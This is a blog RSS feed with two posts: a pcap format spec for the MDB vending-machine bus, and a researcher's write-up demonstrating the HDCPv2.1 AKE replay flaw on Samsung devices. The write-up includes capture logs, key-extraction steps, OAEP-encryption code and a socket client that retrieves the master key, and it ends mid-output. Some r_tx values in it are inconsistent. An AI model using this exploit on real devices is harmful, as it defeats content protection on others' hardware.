
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
 <channel>
   <title>kaiser.cx</title>
   <link>https://www.kaiser.cx/</link>
   <description>Recent content on kaiser.cx</description>
   <generator>Hugo -- gohugo.io</generator>
   <language>en</language>
   <copyright>Copyright &amp;copy; Martin Kaiser</copyright>
   <lastBuildDate>Mon, 07 Aug 2023 00:00:00 +0000</lastBuildDate>
   
       <atom:link href="https://www.kaiser.cx/index.xml" rel="self" type="application/rss+xml" />
   
   
     <item>
       <title>PCAP format for MDB</title>
       <link>https://www.kaiser.cx/posts/pcap-mdb/</link>
       <pubDate>Mon, 07 Aug 2023 00:00:00 +0000</pubDate>
       
       <guid>https://www.kaiser.cx/posts/pcap-mdb/</guid>
       <description>&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;&lt;p&gt;The MDB (Multi-Drop Bus) protocol is used inside a vending machine. MDBdefines the communication between the main control board (VMC = VendingMachine Controller) and peripheral components, e.g. a payment terminal or abill validator.&lt;/p&gt;&lt;p&gt;The VMC acts as bus master and sends a request to one peripheral at a time.A peripheral may send data only in response to such a request.&lt;/p&gt;&lt;p&gt;The MDB specification is maintained by the National Automatic MerchandisingAssociation (NAMA). As of August 2023, the current version of the MDBspecification is 4.3. It is available from&lt;br&gt;&lt;a href=&#34;https://namanow.org/nama-releases-mdb-version-4-3/&#34;&gt;https://namanow.org/nama-releases-mdb-version-4-3/&lt;/a&gt;&lt;/p&gt;&lt;h1 id=&#34;data-link-type&#34;&gt;Data Link Type&lt;/h1&gt;&lt;p&gt;300 (&lt;em&gt;DLT_MDB&lt;/em&gt;) was assigned for MDB.&lt;/p&gt;&lt;p&gt;For pcap files, this value shall be set in the global header&amp;rsquo;s &lt;em&gt;network&lt;/em&gt;field. Pcapng defines an Interface Description Block, its &lt;em&gt;LinkType&lt;/em&gt;must be set to this value.&lt;/p&gt;&lt;h1 id=&#34;packet-data&#34;&gt;Packet Data&lt;/h1&gt;&lt;p&gt;The packet data consists of an MDB pseudo-header plus the captured MDB data.&lt;/p&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;pseudo-header&lt;/th&gt;&lt;th&gt;MDB data&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;/table&gt;&lt;h2 id=&#34;pseudo-header&#34;&gt;pseudo-header&lt;/h2&gt;&lt;p&gt;The pseudo-header has information about the type of the captured data.&lt;/p&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;field&lt;/th&gt;&lt;th style=&#34;text-align:center&#34;&gt;length (bytes)&lt;/th&gt;&lt;th style=&#34;text-align:center&#34;&gt;mandatory&lt;/th&gt;&lt;th&gt;description&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;version&lt;/td&gt;&lt;td style=&#34;text-align:center&#34;&gt;1&lt;/td&gt;&lt;td style=&#34;text-align:center&#34;&gt;yes&lt;/td&gt;&lt;td&gt;set to 0 for now&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;event&lt;/td&gt;&lt;td style=&#34;text-align:center&#34;&gt;1&lt;/td&gt;&lt;td style=&#34;text-align:center&#34;&gt;yes&lt;/td&gt;&lt;td&gt;see the table below&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;peripheral address&lt;/td&gt;&lt;td style=&#34;text-align:center&#34;&gt;1&lt;/td&gt;&lt;td style=&#34;text-align:center&#34;&gt;no&lt;/td&gt;&lt;td&gt;required only for event 0xFE&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;The &lt;em&gt;peripheral address&lt;/em&gt; must be set in the header for packets from aperipheral to the VMC (packets from the VMC to a peripheral have theperipheral address in the MDB data). The possible values for &lt;em&gt;peripheraladdress&lt;/em&gt; are defined in section 2.3 of the MDB specification, the xxx bitsin this definition should be set to 0.&lt;/p&gt;&lt;h3 id=&#34;event&#34;&gt;event&lt;/h3&gt;&lt;p&gt;The &lt;em&gt;event&lt;/em&gt; byte may be set to one of the following values.&lt;/p&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&#34;text-align:center&#34;&gt;value&lt;/th&gt;&lt;th style=&#34;text-align:center&#34;&gt;description&lt;/th&gt;&lt;th style=&#34;text-align:center&#34;&gt;periph. address&lt;/th&gt;&lt;th style=&#34;text-align:center&#34;&gt;MDB data&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&#34;text-align:center&#34;&gt;0xFF&lt;/td&gt;&lt;td style=&#34;text-align:center&#34;&gt;data from VMC to peripheral&lt;/td&gt;&lt;td style=&#34;text-align:center&#34;&gt;no&lt;/td&gt;&lt;td style=&#34;text-align:center&#34;&gt;yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&#34;text-align:center&#34;&gt;0xFE&lt;/td&gt;&lt;td style=&#34;text-align:center&#34;&gt;data from peripheral to VMC&lt;/td&gt;&lt;td style=&#34;text-align:center&#34;&gt;yes&lt;/td&gt;&lt;td style=&#34;text-align:center&#34;&gt;yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&#34;text-align:center&#34;&gt;0xFD&lt;/td&gt;&lt;td style=&#34;text-align:center&#34;&gt;VMC initiated a bus reset&lt;/td&gt;&lt;td style=&#34;text-align:center&#34;&gt;no&lt;/td&gt;&lt;td style=&#34;text-align:center&#34;&gt;no&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h1 id=&#34;examples&#34;&gt;Examples&lt;/h1&gt;&lt;p&gt;The VMC sends a &lt;em&gt;vend request&lt;/em&gt; to the &lt;em&gt;Cashless #1&lt;/em&gt; peripheral.&lt;/p&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&#34;text-align:left&#34;&gt;pseudo-header&lt;/th&gt;&lt;th style=&#34;text-align:left&#34;&gt;MDB data&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&#34;text-align:left&#34;&gt;0x00 0xff&lt;/td&gt;&lt;td style=&#34;text-align:left&#34;&gt;0x13 0x00 0x00 0x3c 0x00 0x01 0x50&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;The &lt;em&gt;Cashless #1&lt;/em&gt; peripheral sends a response to the VMC and approves thevending operation.&lt;/p&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&#34;text-align:left&#34;&gt;pseudo-header&lt;/th&gt;&lt;th style=&#34;text-align:left&#34;&gt;MDB data&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&#34;text-align:left&#34;&gt;0x00 0xfe 0x10&lt;/td&gt;&lt;td style=&#34;text-align:left&#34;&gt;0x05 0x00 0x10 0x15&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h1 id=&#34;links&#34;&gt;Links&lt;/h1&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&#34;https://github.com/IETF-OPSAWG-WG/draft-ietf-opsawg-pcap&#34;&gt;pcap and pcapng file formats&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&#34;http://www.tcpdump.org/linktypes.html&#34;&gt;list of link-layer header types&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&#34;https://namanow.org/nama-releases-mdb-version-4-3/&#34;&gt;MDB specification, version 4.3&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h1 id=&#34;questions-comments&#34;&gt;Questions, comments&lt;/h1&gt;&lt;p&gt;Please send any questions or comments to &amp;lsquo;www(at)kaiser(dot)cx&amp;rsquo;&lt;/p&gt;</description>
     </item>
   
     <item>
       <title>HDCPv2.1 AKE vulnerability</title>
       <link>https://www.kaiser.cx/posts/hdcp2/</link>
       <pubDate>Sun, 03 Jan 2021 18:30:29 +0100</pubDate>
       
       <guid>https://www.kaiser.cx/posts/hdcp2/</guid>
       <description>&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_introduction&#34;&gt;Introduction&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;HDCP (High-bandwith Digical Content Protection) is a framework for securetransmission of audio/video content between a transmitter and a receiver.Version 2.1 is based on TCP/IP, earlier versions used an HDMI connection.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;HDCPv2 consists of several protocols&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;ulist&#34;&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;authentication and key exchange (AKE)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;locality check&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;renewability (revocation)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;calculation of the encryption key for streaming&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;and last but not least the streaming itself.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The American security researcher Matthew Green analyzed the HDCPv2.1specification and discovered a number of vulnerabilities. One of them isrelated to AKE.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The remainder of this text describes the steps I took to demonstrate this AKEvulnerability on commercially available devices.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;sect2&#34;&gt;&lt;h3 id=&#34;_ake_protocol_outline_of_the_attack&#34;&gt;AKE protocol, outline of the attack&lt;/h3&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The goal of AKE is to establish a shared key between transmitterand receiver, the so called master key k&lt;sub&gt;m&lt;/sub&gt;.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;There’s two different sequences for the authentication, a short and a fullauthentication. The short authentication can be used for a transmitter andreceiver that have already authenticated before, it requires lesscomputational effort than the full authentication.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The attack discovered by Matthew Green allows an attacker to obtain themaster key for any transmitter-receiver pair. This is purely based on aweakness of the protocol design, it does not require a faulty/insecureimplementation.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;This is the outline of the attack to obtain k&lt;sub&gt;m&lt;/sub&gt; for a transmitter andreceiver, a slightly modified version of Matthew’s original version.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;olist arabic&#34;&gt;&lt;ol class=&#34;arabic&#34;&gt;&lt;li&gt;&lt;p&gt;Observe a legitimate HDCP authentication between the transmitter andreciever.  If you captured a full authentication, extract r&lt;sub&gt;tx&lt;/sub&gt; andE&lt;sub&gt;kh&lt;/sub&gt;(k&lt;sub&gt;m&lt;/sub&gt;). For a short authentication, extract m and E&lt;sub&gt;kh&lt;/sub&gt;(k&lt;sub&gt;m&lt;/sub&gt;).r&lt;sub&gt;tx&lt;/sub&gt; is the upper 8 bytes of m. Additionally, capture the receiver’scertificate and the checksum H&amp;#39;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Pretend to be a transmitter, start a full authentication with thereceiver.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Replay r&lt;sub&gt;tx&lt;/sub&gt; from step 1.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use E&lt;sub&gt;kh&lt;/sub&gt;(k&lt;sub&gt;m&lt;/sub&gt;) as input, encrypt it using RSAEA-OAEP, using thethe RSA public key from the receiver’s certificate.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The &lt;em&gt;AKE_Send_Pairing_Info&lt;/em&gt; message from the receiver contains k&lt;sub&gt;m&lt;/sub&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Verify the obtained k&lt;sub&gt;m&lt;/sub&gt; by calculating H and comparing with H&amp;#39; of thelegitimate authentication that was captured.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The picture below shows the difference between a full authentication and thefake authentication from steps 2-5.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;&lt;span class=&#34;image&#34;&gt;&lt;img src=&#34;https://www.kaiser.cx/hdcp2/authFake.jpg&#34; alt=&#34;fake authentication run&#34;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_test_setup&#34;&gt;Test setup&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;To test the scenario described above, we use a European Samsung TV setand a Samsung Galaxy SII smartphone. The TV acts as HDCP transmitter andstreams audio and video to the smartphone. Using Samsung’s SmartView appfor Android, the phone acts as HDCP receiver and presents theaudio/video content received from the TV. This feature is calledMultiview.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Finally, we add a PC to the network. It runs a DHCP server and a currentwireshark release that supports logging of HDCPv2 messages.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;&lt;span class=&#34;image&#34;&gt;&lt;img src=&#34;https://www.kaiser.cx/hdcp2/network.jpg&#34; alt=&#34;simple test network&#34;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_capture_a_legitimate_hdcp_authentication&#34;&gt;Capture a legitimate HDCP authentication&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;When the SmartView app is started on the phone, it does a DLNA devicediscovery. When the TV’s detected, there’s a number of steps for UPnP/DLNAsetup. One of them is the phone requesting the TV to initiate an HDCPauthentication.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The phone then starts an HDCPv2 server on TCP port 9999 and the TV performsthe AKE protocol as per the HDCPv2 specification. There’s no&lt;em&gt;AKE_transmitter_info&lt;/em&gt; or &lt;em&gt;AKE_receiver_info&lt;/em&gt; messages as the devices havealready detected each other using DLNA.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;BTW it turned out to be quite difficult to force the two devices to run afull authentication. The TV would not delete a cached master key k&lt;sub&gt;m&lt;/sub&gt; after afactory reset.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;$ tshark -r logging1.pcapng -R hdcp2246 11.435577000  192.168.1.5 -&amp;gt; 192.168.1.2  HDCP2 75 AKE_Init248 11.697900000  192.168.1.2 -&amp;gt; 192.168.1.5  HDCP2 590 AKE_Send_Cert, no repeater250 11.703639000  192.168.1.5 -&amp;gt; 192.168.1.2  HDCP2 99 AKE_Stored_km252 11.706692000  192.168.1.2 -&amp;gt; 192.168.1.5  HDCP2 75 AKE_Send_rrx254 11.748270000  192.168.1.2 -&amp;gt; 192.168.1.5  HDCP2 99 AKE_Send_H_prime&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;We’re interested in the &lt;em&gt;AKE_Stored_km&lt;/em&gt; message.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;$ tshark -r logging1.pcapng frame.number==250 -O hdcp2Frame 250: 99 bytes on wire (792 bits), 99 bytes captured (792 bits) on interface 0...Transmission Control Protocol, Src Port: 50730 (50730), Dst Port: distinct (9999), Seq: 10, Ack: 525, Len: 33HDCP2    Message ID: AKE_Stored_km (0x05)    E_kh_km: cdef65336923fa3e60eedd5ccefb3919    m: ad344f04d8e55a080000000000000000&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;To verify our findings later, we also need the &lt;em&gt;AKE_Init&lt;/em&gt; and&lt;em&gt;AKE_Send_H_prime&lt;/em&gt; messages.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;$ tshark -r logging1.pcapng -R frame.number==246 -O hdcp2Frame 246: 75 bytes on wire (600 bits), 75 bytes captured (600 bits) oninterface 0...Transmission Control Protocol, Src Port: 50730 (50730), Dst Port: distinct(9999), Seq: 1, Ack: 1, Len: 9HDCP2    Message ID: AKE_Init (0x02)    r_tx: 0x534f132bedb405ab$ tshark -r logging1.pcapng -R frame.number==254 -O hdcp2Frame 254: 99 bytes on wire (792 bits), 99 bytes captured (792 bits) on interface 0...Transmission Control Protocol, Src Port: distinct (9999), Dst Port: 50730 (50730), Seq: 534, Ack: 43, Len: 33HDCP2    Message ID: AKE_Send_H_prime (0x07)    H&amp;#39;: 07690cb4274a6e2b7ba84b229d474773274797f9ad5aa3d7...$ tshark -r logging1.pcapng -R frame.number==254 -O hdcp2 -e hdcp2.h_prime -T fields07:69:0c:b4:27:4a:6e:2b:7b:a8:4b:22:9d:47:47:73:27:47:97:f9:ad:5a:a3:d7:17:f1:b7:82:1e:95:a8:e5&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;We extract the RSA public key (n and e) from the receiver’s certificate.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;$ tshark -r logging1.pcapng -R frame.number==248 -e hdcp2.cert.n -T fieldse7:bc:f3:e0:66:79:11:09:5f:81:ff:47:8c:c0:13:54:12:4c:6d:32:11:d6:9a:e2:1d:22:25:4f:ce:b2:b7:15:56:5a:06:8f:f3:c5:ae:f3:11:9e:53:04:6e:c4:b5:e0:86:8a:d5:52:1f:37:b9:7a:fd:20:3c:f7:a7:c4:0e:2d:33:a4:42:94:b4:1b:06:8a:71:6d:8c:c5:5b:53:cc:ac:be:33:e5:2f:1e:d5:97:54:3c:2e:db:13:b8:d3:39:d8:df:b1:6d:8c:9b:a5:51:9d:81:06:85:b3:f4:4e:dd:f7:9d:29:ef:55:34:8a:ab:21:f7:60:c6:99:15:c2:db:87$ tshark -r logging1.pcapng -R frame.number==248 -e hdcp2.cert.e -T fields0x010001&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_fake_authentication&#34;&gt;Fake authentication&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;sect2&#34;&gt;&lt;h3 id=&#34;_prepare_the_calculations&#34;&gt;Prepare the calculations&lt;/h3&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;From the captured m, we can derive r&lt;sub&gt;tx&lt;/sub&gt;==0xad3444f0dd8e55a08 to be usedfor the fake authentication. This will ensure that the phone will use exactlythe same m as in the captured authentication.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The next step’s a bit more tricky: We have to encrypt the E&lt;sub&gt;kh&lt;/sub&gt;(k&lt;sub&gt;m&lt;/sub&gt;)with RSAES-OAEP using SHA256 as hash function and MGF1 for maskgeneration, where MGF1 also uses SHA256 as its hash function. It turnedout that OpenSSL does not support this at the time of writing, MGF1 ishard-wired to SHA1. Libgrypt version 1.5 and later can do the OAEPcalculation required for HDCPv2.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;See the following code snippet. The public key’s n and e were copied from thephone’s device certificate. Normally, the transmitters has to do the OAEPcalculating while the AKE protocol is being run. We can do this offlinebefore we run the fake authentication.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;...#include &amp;lt;gcrypt.h&amp;gt;static const char pubkey_str[] =&amp;#34;(public-key\n&amp;#34;&amp;#34; (rsa\n&amp;#34;&amp;#34;  (n #e7bcf3e0667911095f81ff478cc01354124c6d3211d69ae21d22254fceb2b715&amp;#34;      &amp;#34;565a068ff3c5aef3119e53046ec4b5e0868ad5521f37b97afd203cf7a7c40e2d&amp;#34;      &amp;#34;33a44294b41b068a716d8cc55b53ccacbe33e52f1ed597543c2edb13b8d339d8&amp;#34;      &amp;#34;dfb16d8c9ba5519d810685b3f44eddf79d29ef55348aab21f760c69915c2db87#)\n&amp;#34;&amp;#34;  (e #010001#)\n&amp;#34;&amp;#34; )\n&amp;#34;&amp;#34;)\n&amp;#34;;static const char data_str[] =&amp;#34;(data\n&amp;#34;&amp;#34;    (flags oaep)\n&amp;#34;&amp;#34;    (hash-algo sha256)\n&amp;#34;&amp;#34;    (label \&amp;#34;test\&amp;#34;)\n&amp;#34;&amp;#34;    (value #cdef65336923fa3e60eedd5ccefb3919#))\n&amp;#34;;intmain (void){  int         ret;  gcry_sexp_t result, data, pub_key;  ret = gcry_sexp_sscan (&amp;amp;data, NULL, data_str, strlen(data_str));  assert(ret==0);  ret = gcry_sexp_sscan (&amp;amp;pub_key, NULL, pubkey_str, strlen(pubkey_str));  assert(ret==0);  ret = gcry_pk_encrypt(&amp;amp;result, data, pub_key);  assert(ret==0);  /* print out the result sexpression */  ...  return 0;}&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The result of this calculation is the fake E&lt;sub&gt;kpub_rx&lt;/sub&gt;(k&lt;sub&gt;m&lt;/sub&gt;).&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;$ ./oaep_calculationres =0xC9, 0xD0, 0xA0, 0xCF, 0x3D, 0xC0, 0xA2, 0x32, 0xF3, 0xD7, 0xDE, 0x82, 0xCC, 0x88, 0x6F, 0xAF,0xD2, 0x10, 0x39, 0xE6, 0x5E, 0x6E, 0x08, 0xE8, 0xB9, 0x96, 0xCD, 0xCC, 0x23, 0x2E, 0xB2, 0x39,0x8C, 0x11, 0xCF, 0x27, 0xC5, 0xBF, 0x0C, 0x9C, 0x83, 0xB4, 0x5F, 0x1B, 0x4E, 0x51, 0x02, 0xDF,0x41, 0xE7, 0xFF, 0x40, 0x49, 0x12, 0xA1, 0xE4, 0xA7, 0x41, 0x83, 0x6A, 0x7C, 0xD8, 0xC7, 0xF1,0x70, 0x85, 0x62, 0x90, 0x28, 0x9A, 0x38, 0x53, 0x02, 0x5F, 0xC6, 0x54, 0xD4, 0xED, 0x38, 0xB0,0x53, 0x66, 0x81, 0x4D, 0x9B, 0xB5, 0x1F, 0x52, 0x2D, 0x02, 0x42, 0x81, 0xAA, 0x96, 0x76, 0xBB,0x69, 0x4E, 0x63, 0x04, 0xF5, 0x5E, 0x44, 0x1A, 0xB2, 0xDD, 0x1F, 0x02, 0xFA, 0x8C, 0x05, 0x73,0x74, 0x31, 0x8E, 0x45, 0x51, 0x10, 0x36, 0xC0, 0xAB, 0x97, 0xFA, 0xF5, 0x3D, 0x90, 0xB3, 0xC5&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect2&#34;&gt;&lt;h3 id=&#34;_run_the_protocol&#34;&gt;Run the protocol&lt;/h3&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;We’re now ready for kicking off our fake authentication from the test PC. Onething turned out to be a problem, however. The phone starts the HDCPv2 serveronly after it recognizes a TV set via DLNA. To avoid faking all DLNAmessages, we use the real TV and let the phone recognize the TV and start theMultiview. At this point, the phone provides the HDCPv2 server on TCP port9999 to any client, including our test PC.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The code snippet below shows that we don’t parse any of the phone’s returnmessages. Instead, we use wireshark to log the communication and do theparsing.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;#define R_TX \0x53, 0x4f, 0x13, 0x2b, 0xed, 0xb4, 0x05, 0xab#define E_KPUB_KM \0xC9, 0xD0, 0xA0, 0xCF, 0x3D, 0xC0, 0xA2, 0x32, \0xF3, 0xD7, 0xDE, 0x82, 0xCC, 0x88, 0x6F, 0xAF, \0xD2, 0x10, 0x39, 0xE6, 0x5E, 0x6E, 0x08, 0xE8, \0xB9, 0x96, 0xCD, 0xCC, 0x23, 0x2E, 0xB2, 0x39, \0x8C, 0x11, 0xCF, 0x27, 0xC5, 0xBF, 0x0C, 0x9C, \0x83, 0xB4, 0x5F, 0x1B, 0x4E, 0x51, 0x02, 0xDF, \0x41, 0xE7, 0xFF, 0x40, 0x49, 0x12, 0xA1, 0xE4, \0xA7, 0x41, 0x83, 0x6A, 0x7C, 0xD8, 0xC7, 0xF1, \0x70, 0x85, 0x62, 0x90, 0x28, 0x9A, 0x38, 0x53, \0x02, 0x5F, 0xC6, 0x54, 0xD4, 0xED, 0x38, 0xB0, \0x53, 0x66, 0x81, 0x4D, 0x9B, 0xB5, 0x1F, 0x52, \0x2D, 0x02, 0x42, 0x81, 0xAA, 0x96, 0x76, 0xBB, \0x69, 0x4E, 0x63, 0x04, 0xF5, 0x5E, 0x44, 0x1A, \0xB2, 0xDD, 0x1F, 0x02, 0xFA, 0x8C, 0x05, 0x73, \0x74, 0x31, 0x8E, 0x45, 0x51, 0x10, 0x36, 0xC0, \0xAB, 0x97, 0xFA, 0xF5, 0x3D, 0x90, 0xB3, 0xC5int main(void){  int ret, s;  struct sockaddr_in srv;  unsigned char ake_init[] = {   0x02, /* msg_id */   R_TX  };  unsigned char ake_no_stored_km[] = {   0x04, /* msg_id */   E_KPUB_KM  };  unsigned char buf[1000];  s = socket(PF_INET, SOCK_STREAM, 0);  assert(s!=-1);  srv.sin_family = AF_INET;  srv.sin_port = htons (9999);  ret = inet_pton(AF_INET, &amp;#34;192.168.1.2&amp;#34;, &amp;amp;srv.sin_addr);  assert(ret &amp;gt;= 0);  ret = connect(s, (struct sockaddr *)&amp;amp;srv, sizeof(srv));  assert(ret==0);  write(s, ake_init, sizeof(ake_init));  read (s, buf, sizeof(buf));  /* read ake_send_cert */  write(s, ake_no_stored_km, sizeof(ake_no_stored_km));  read (s, buf, sizeof(buf));  /* read ake_send_rrx */  read (s, buf, sizeof(buf));  /* read ake_h_prime */  read (s, buf, sizeof(buf));  /* read ake_pairing_info */  return 0;}&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Here’s the wireshark log of the fake authentication.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;$ tshark -r revert1.pcapng -R hdcp24960 20.957347000  192.168.1.254 -&amp;gt; 192.168.1.2   HDCP2  75 AKE_Init5042 21.378931000  192.168.1.2   -&amp;gt; 192.168.1.254 HDCP2 590 AKE_Send_Cert, no repeater5044 21.379112000  192.168.1.254 -&amp;gt; 192.168.1.2   HDCP2 195 AKE_No_Stored_km5046 21.387232000  192.168.1.2   -&amp;gt; 192.168.1.254 HDCP2  75 AKE_Send_rrx5132 21.676139000  192.168.1.2   -&amp;gt; 192.168.1.254 HDCP2  99 AKE_Send_H_prime5134 21.677848000  192.168.1.2   -&amp;gt; 192.168.1.254 HDCP2  83 AKE_Send_Pairing_Info&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;&lt;em&gt;AKE_Init&lt;/em&gt; contains our replayed r&lt;sub&gt;tx&lt;/sub&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;$ tshark -r revert1.pcapng -R frame.number==4960 -O hdcp2Frame 4960: 75 bytes on wire (600 bits), 75 bytes captured (600 bits) on interface 0...Transmission Control Protocol, Src Port: 59500 (59500), Dst Port: distinct(9999), Seq: 1, Ack: 1, Len: 9HDCP2    Message ID: AKE_Init (0x02)    r_tx: 0xad344f04d8e55a08&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;and &lt;em&gt;AKE_No_Stored_km&lt;/em&gt; contains the OAEP-encrypted value we calculated above&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;$ tshark -r revert1.pcapng -R frame.number==5044 -O hdcp2Frame 5044: 195 bytes on wire (1560 bits), 195 bytes captured (1560 bits) oninterface 0...Transmission Control Protocol, Src Port: 59500 (59500), Dst Port: distinct (9999), Seq: 10, Ack: 525, Len: 129HDCP2    Message ID: AKE_No_Stored_km (0x04)    E_kpub_km: 